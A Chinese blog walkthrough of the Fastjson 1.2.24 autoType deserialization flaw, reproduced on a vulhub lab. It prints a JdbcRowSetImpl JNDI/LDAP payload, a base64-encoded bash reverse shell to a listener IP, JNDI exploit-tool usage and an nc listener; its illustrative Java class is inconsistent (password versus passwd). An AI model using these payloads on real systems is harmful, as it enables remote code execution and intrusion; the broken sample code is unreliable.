Fastjson反序列化漏洞原理及漏洞复现

当你停下脚步的时候,不要忘了别人还在奔跑。
   
        
                                 🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

一、Fastjson是什么?

fastjson是阿里巴巴旗下的一个开源JSON解析库,它可以解析JSON格式的字符串,也可以从JSON字符串反序列化到JavaBean。

调用的API接口

String text = JSON.toJSONString(obj); //序列化
VO vo = JSON.parseObject("{...}", VO.class); //反序列化

二、漏洞原理

假如我们这里有一个user类

import java.io.Serializable;

public class User implements Serializable {
    private String username;
    private String password;

    public User(String username, String password) {
        this.username = username;
        this.passwd = passwd;
    }

    // Getters and setters
}

然后,我们有一个 JSON 数据,其中包含了一个 User 对象的字段,但是并不包含 passwd 字段:

json
{
  "username": "test"
}

使用 Fastjson 库将这个 JSON 数据反序列化为 User 对象:

import com.alibaba.fastjson.JSON;

public class Main {
    public static void main(String[] args) {
        String json = "{\"username\": \"admin\"}";
        User user = JSON.parseObject(json, User.class);
        System.out.println("Username: " + user.getUsername());
        System.out.println("Password: " + user.getPasswd()); // 潜在的漏洞点
    }
}

由于 JSON 数据中没有包含 passwd 字段,但是 User 类中存在 passwd 字段,并且 Fastjson 默认会使用无参构造函数创建对象,所以 passwd 字段会被初始化为 null。然而,在某些情况下,恶意用户可以构造特定的 JSON 数据,以利用这种宽容性,导致意外的对象状态或代码执行,例如通过注入恶意的 JSON 数据来执行恶意代码或者获取敏感信息。

漏洞功能模块

astjson的漏洞本质还是一个java的反序列化漏洞,由于引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为java对象并调用这个类的setter方法。使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

三、漏洞复现

本文使用的是vulhub搭建靶场,复现fastjson1.2.24,进入对应的目录后,输入如下命令启动靶场:


docker-compose up –d
docker ps

通过docker ps可以查看容器映射的端口号

打开浏览器访问虚拟机ip:8090,页面显示如下,说明搭建成功

访问地址抓取数据包,变更请求方式,在数据包下面添加 { 发现报错,Fastjson有严格的格式才可以进行解析,否则就会报错:

构建POC利用DNSlog进行测试

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://'www'.ie4soh.dnslog.cn",
        "autoCommit":true
    }

}

发现回显,说明存在漏洞

三.(1).反弹shell利用

我们需要构建一个 JNDI 服务器,使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具开启JNDI服务:工具地址:GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)

#反弹shell
bash -i>& /dev/tcp/监听端IP/IP 0>&1   #base64 编码
bash -i >& /dev/tcp/192.168.0.105/4444 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA1LzQ0NDQgMD4mMQ== #base64编码值

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA1LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i} #最后反弹shell的命令

使用方法如下:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

-C - 远程class文件中要执行的命令,默认命令是mac下打开计算器,即"open /Applications/Calculator.app"

-A - 服务器地址,可以是IP地址或者域名。
注意:
要确保 1099、1389、8180端口可用,不被其他程序占用。
你也可以在run.ServerStart类中的26~28行更改默认端口即可。
命令会被作为参数传入Runtime.getRuntime().exec(),
所以需要确保命令传入exec()方法可执行。
bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C "bash -c ..."

利用 JDK 1.8 的 ldap 来反弹 shell

监听端监听4444端口

nc -lvvp 4444

成功监听到反弹的shell

  • 17
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
WebLogic和Fastjson反序列化漏洞是两个独立的漏洞,但它们都涉及到Java反序列化安全问题。我会分别给你介绍这两个漏洞原理复现方法。 1. WebLogic反序列化漏洞原理分析及复现WebLogic反序列化漏洞是指通过利用WebLogic Server中T3协议的漏洞,攻击者可以在目标服务器上执行任意代码。这个漏洞的根本原因是WebLogic Server在处理T3协议时未正确过滤用户提供的数据,导致攻击者可以构造恶意的序列化数据,在服务器端触发反序列化漏洞复现漏洞的步骤如下: 1) 下载并配置WebLogic Server环境。 2) 使用ysoserial工具生成payload,例如利用CommonsCollections的payload。 3) 构造T3协议请求,将生成的payload嵌入到请求中。 4) 启动WebLogic Server,并发送恶意请求。 5) 成功触发反序列化漏洞后,攻击者可以执行任意代码。 2. Fastjson反序列化漏洞原理分析及复现Fastjson是一个常用的Java JSON库,该漏洞存在于Fastjson的版本1.2.24及之前的版本中。攻击者可以通过构造恶意的JSON数据,触发Fastjson反序列化漏洞,从而执行任意代码。 漏洞的原因是Fastjson反序列化JSON数据时,对默认类型进行了自动化检测和加载,并且允许调用类的默认构造函数,从而导致了代码执行漏洞。攻击者可以通过构造恶意的JSON数据,在目标服务器上执行任意代码。 复现漏洞的步骤如下: 1) 下载并配置Fastjson版本1.2.24或之前的环境。 2) 使用ysoserial工具生成payload,例如利用CommonsCollections的payload。 3) 构造恶意的JSON数据,将生成的payload嵌入到JSON中。 4) 编写测试代码,使用Fastjson进行反序列化操作。 5) 执行测试代码,成功触发反序列化漏洞后,攻击者可以执行任意代码。 请注意,漏洞利用是非法行为,仅在授权范围内进行安全测试和研究。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值